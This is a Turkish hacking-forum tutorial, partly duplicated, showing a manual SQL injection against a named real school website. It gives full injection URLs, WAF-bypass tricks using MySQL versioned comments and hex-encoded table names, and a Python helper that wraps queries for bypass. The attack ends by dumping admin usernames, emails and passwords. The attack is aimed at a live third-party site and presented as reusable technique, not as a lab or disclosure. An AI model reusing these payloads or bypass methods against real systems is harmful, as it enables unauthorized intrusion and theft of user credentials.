- 16 Ara 2023
- 6
- 31
- 26
Selamlar sevgili hocalarım, uzun zamandır yoktum güzel bir konu ile tekrar dönmek istedim.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.
Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
TEK KURŞUN
Şimdi gelelim sitemize;
yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
order by da herhangi bir sıkıntıya rastlamadık.
O zaman union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.
1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.
Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna /*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
bundan sonra concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
kodda burada
bu kod ile yazığımız tüm sorguları direk bypasllıyarak geçeceğiz. Tüm modsecuirty geldikçe kullanabilirsiniz bu sayede 2 kere takılacağız sadece,
1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
sorguyu 2.kez wafa taktık ama teker teker hangi fonksiyon takılıyor diye artık bakmayacağız.
şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
bize bypasslı halini verdi, hemen siteye deniyorum.
görüldüğü gibi wafı patlattık artık, adminin içindeki column isimlerinide alalım.
admin kelimesi blackliste olduğu için hexledim.
en son işime yarayan verileri dumpladım.
Okuduğunuz için teşekkür ederim değerli hocalarım, iyi forumlar.
Sql injectionda manuel sömürü yaparken hepmizinde bildiği gibi waflar hep baş belası olmuştur.
Eğer seri tutarsa sırası ile önüme gelen sitelerin waflarını bypasslayarak anlatacağım.
Modsecuirty de atlattığımız wafın payloadı başka sitelerde de yarayabilir yaramayabilirde bunlar hep deneme yanılma ile öğrenilir.
Peki neden böyle bir içerik ihtiyacı var ve neden tek kurşun tagını kullandım ?
Sistemler geliştikçe zafiyetler olsa dahi yeni önlemler alınmakta, örneğin bir sorgu denerken 5 kere wafa yakalanırsanız waf sizin ip'nizi banlar ortalama bir wafda min 10-15 kere loglara girersiniz zaten bu yüzden wafı daha önce bypassladığınız yerde payloadları hazırlamanız lazım.
TEK KURŞUN
Şimdi gelelim sitemize;
yukarıda da gözüktüğü gibi basit bir site normal manuel sqli olarak devam ediyoruz taki wafa takılana kadar,
order by da herhangi bir sıkıntıya rastlamadık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' order by 13 --+-
O zaman union select ile veri çekmeye başlayalım.
union selecti yazdığım gibi waf devreye girdi.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --+-
Waf açısından hem bakıp hemde tecrübe ile baktığım zaman, durum 2 tür senaryo vardır.
1- kullanıcıdan alınan tüm verileri filtrele yapılmaz çünkü backend'de iş çok büyür.
2- Tehlikeli olabilecek fonksiyonları engelle, genelde bu tercih edilir.
Şimdi 2. senayo olduğunu zaten biliyoruz zaten atlatılamayan waf olmaz çünkü sadece işi uzatır ve zorlaştırılır.
Select fonksiyonu normal düz bir veri seçme fonksiyonu sistemde kullanılı genelde blackliste alınmaz bu yüzden,
lakin Union fonksiyonu iki sorguyu bir birine birleştirir sistem kullanıcısı tarafından beklenmeyen bir harekettir waf bu yüzden uniona izin vermez.
Konuyu fazla uzatmamak açısından union fonksiyonuna /*!12345union*/ diyerek bypasslamayı denedim ve başardım.
NOT: 12345 herhangi bir int değerdir.
bundan sonra concat fonksiyonu gibi fonksiyonlar genelde takılmaz lakin information_schema.tables da en çok takılanlar arasındadır siz bypass denerken en çok bu fonksiyonlara bakmanızı öneririm.
Tabi şimdi ne atarsak bize waf a takılacağı için size bir python kodu veriyorum.
kodda burada
Python:
def process_text(input_text):
words = input_text.split()
processed_text = ""
for word in words:
processed_text += "/*!50000" + word + "*/+"
return processed_text.strip()
input_text = input("Enter The SQL Queries: ")
output_text = process_text(input_text)
print("Bypassed SQL Queries:", output_text)
1 union seçerken ,2 db dumplarken
hadi db yi alalım artık.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database() --+-
şimdi python kodunu çalıştıralım ve yazdığımız sorguyu içine verelim.
bize bypasslı halini verdi, hemen siteye deniyorum.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.tables*/+/*!50000where*/+/*!50000table_schema*/=database() --+-
görüldüğü gibi wafı patlattık artık, adminin içindeki column isimlerinide alalım.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(column_name)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name*/=0x61646d696e --+-
admin kelimesi blackliste olduğu için hexledim.
SQL:
https://indianschool.bh/latest_news.php?action=show_news&id=199' /*!50000union*/ /*!50000select*/ 1,/*!50000group_concat(username,0x3a,email,0x3a,password)*/,3,4,5,6,7,8,9,10,11,12,13 /*!50000from*/+admin--+-
Okuduğunuz için teşekkür ederim değerli hocalarım, iyi forumlar.
Son düzenleme: